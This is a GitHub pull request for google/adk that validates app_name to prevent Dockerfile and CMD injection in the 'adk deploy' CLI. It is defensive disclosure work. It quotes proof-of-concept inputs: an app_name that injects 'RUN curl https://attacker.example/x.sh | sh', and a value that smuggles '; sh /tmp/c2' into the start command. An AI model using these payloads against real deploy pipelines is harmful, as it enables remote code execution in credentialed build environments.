Skip to content

fix(cli): validate app_name before interpolating it into the deploy Dockerfile - #6628

Open
herdiyana256 wants to merge 2 commits into
google:mainfrom
herdiyana256:fix-deploy-app-name-dockerfile-injection
Open

fix(cli): validate app_name before interpolating it into the deploy Dockerfile#6628
herdiyana256 wants to merge 2 commits into
google:mainfrom
herdiyana256:fix-deploy-app-name-dockerfile-injection

Conversation

@herdiyana256

Copy link
Copy Markdown
Contributor

adk deploy builds the container Dockerfile in cli_deploy.py by interpolating app_name into _DOCKERFILE_TEMPLATE with no validation. app_name defaults to the basename of the agent source folder (app_name = app_name or os.path.basename(agent_folder)), so its value can come from a directory name the deploying developer did not choose, for example a cloned or shared agent template whose folder name was picked by the template's author.

The template places app_name directly into instruction context:

COPY --chown=myuser:myuser "agents/{app_name}/" "/app/agents/{app_name}/"
RUN pip install -r "/app/agents/{app_name}/requirements.txt"
CMD adk {command} --port={port} ... {gemini_enterprise_option}{express_mode_option} "/app/agents"

A value containing a quote and a newline breaks out of the COPY/RUN line and becomes its own Dockerfile instruction, which runs during docker build (typically in Cloud Build, with a service-account credential and network egress). In the agent_engine path there is a second sink: gemini_enterprise_option=f'--gemini_enterprise_app_name={app_name}' lands in the shell-form CMD, so the same value can inject a shell command into the container's start command.

All three deploy subcommands are affected: to_cloud_run, to_agent_engine and to_gke all format the same template with the same unvalidated app_name.

This is the same class as the already-merged JS fix (google/adk-js PR #604, assertSafeDockerfileToken), which is not present in the Python port.

Verified by executing the real _DOCKERFILE_TEMPLATE from this file: an app_name of myagent"\nRUN curl https://attacker.example/x.sh | sh\n# produces a Dockerfile whose injected RUN curl ... | sh is a standalone instruction, and an agent_engine app_name of x ; sh /tmp/c2 # produces a CMD line with ; sh /tmp/c2 as a separate shell command.

The fix adds _validate_app_name, restricting app_name to ^[A-Za-z0-9_-]{1,63}$ (which the default ssr, and any ordinary agent folder name, satisfies), and calls it in all three paths right after app_name is resolved, raising a ClickException otherwise. Tests in test_cli_deploy.py cover both accepted identifiers and the rejected breakout payloads.

python -m pytest tests/unittests/cli/utils/test_cli_deploy.py tests/unittests/cli/utils/test_cli_deploy_to_cloud_run.py passes (74 tests).

adk deploy builds the container Dockerfile by interpolating app_name into
_DOCKERFILE_TEMPLATE with no validation. app_name defaults to the basename
of the agent source folder, so its value can come from a directory name the
deploying developer did not choose, such as a cloned or shared agent
template. A crafted name breaks out of the COPY/RUN instructions as its own
Dockerfile instruction (executed during docker build, typically in Cloud
Build with credentials and network egress), and in the agent_engine path it
also lands in the shell-form CMD via --gemini_enterprise_app_name={app_name}.

Restrict app_name to a plain identifier before it reaches the template, in
all three deploy paths (cloud_run, agent_engine, gke), raising a
ClickException otherwise.
@adk-bot adk-bot added the tools [Component] This issue is related to tools label Aug 7, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

tools [Component] This issue is related to tools

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants